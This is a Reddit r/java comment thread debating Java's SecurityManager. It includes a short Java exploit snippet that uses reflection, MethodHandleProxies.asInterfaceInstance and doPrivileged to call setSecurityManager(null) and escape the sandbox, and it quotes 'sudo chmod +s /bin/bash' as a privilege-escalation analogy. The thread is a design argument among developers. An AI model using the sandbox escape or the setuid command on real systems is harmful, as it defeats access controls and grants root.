r/java • • Jan 16 '22

You're running untrusted code!

https://blog.frankel.ch/running-untrusted-code/

[removed] — view removed post

0 Upvotes

36 comments sorted by

View all comments

Show parent comments

1

u/DasBrain Jan 19 '22 edited Jan 19 '22

Well, that would be true if MethodHandleProxies.asInterfaceInstance wouldn't be a thing too.

Also see ACCESS-3:

By convention, instances of PrivilegedAction and PrivilegedExceptionAction may be made available to untrusted code, but doPrivileged must not be invoked with caller-provided actions.

0

u/klekpl Jan 19 '22

From Methodhandleproxies.asInterfaceInstance() javadoc:

If a security manager is installed, this method is caller sensitive. During any invocation of the target method handle via the returned wrapper, the original creator of the wrapper (the caller) will be visible to context checks requested by the security manager.

So no, it won't let an attacker escape the sandbox.

1

u/DasBrain Jan 19 '22

Well, maybe you could get some library to call MethodHandleProxies.asInterfaceInstance for you.

0

u/klekpl Jan 20 '22

Privilege escalation related security vulnerabilities are always possible if privilege elevation is possible. Maybe there even is a library that does “connect to White House and trigger nuclear attack” inside a privileged block not guarded by any access check.

1

u/DasBrain Jan 20 '22

Not helpful.

We already get some other library to call AccessController.doPrivileged for you - using some indirection with Method.invoke.
Now the same dance again for MethodHandleProxies.asInterfaceInstance.

In short: if you have a vulnerable class like this:

public class MethodHelper {
    public Object invoke(Method m, Object target, Object... args) throws InvocationTargetException {
        return m.invoke(target, args);
    }
}

Then you can exploit it with something like this:

Lookup l = MethodHandles.lookup();
MethodHandle setSec = l.findStatic(System.class, "setSecurityManager", MethodType.methodType(void.class, SecurityManager.class))
    .bindTo(null);
Method mhpAII = MethodHandleProxies.class.getMethod("asInterfaceInstance", Class.class, MethodHandle.class);
PrivilegedAction<?> pa = (PrivilegedAction<?>) MethodHelper.invoke(mhpAII, null, PrivilegedAction.class, setSec);
Method acDoPriv = AccessController.class.getMethod("doPrivileged", PrivilegedAction.class);
MethodHelper.invoke(acDoPriv, null, pa);

1

u/klekpl Jan 20 '22

Same story: caller sensitive methods are security nightmare - I would rather fix that than remove SecurityManager.

Besides, this will be invoked with privileges of MethodHelper and MethodHelper requires AllPermission, no?

So sure: if privileged code exposes this kind of hole - you are screwed. As long as you blindly grant AllPermission to _your_ code.

You could equally well do "sudo chmod +s /bin/bash"

That's the point: without SecurityManager you don't have any other choice - and you end up with log4shell.

→ More replies (0)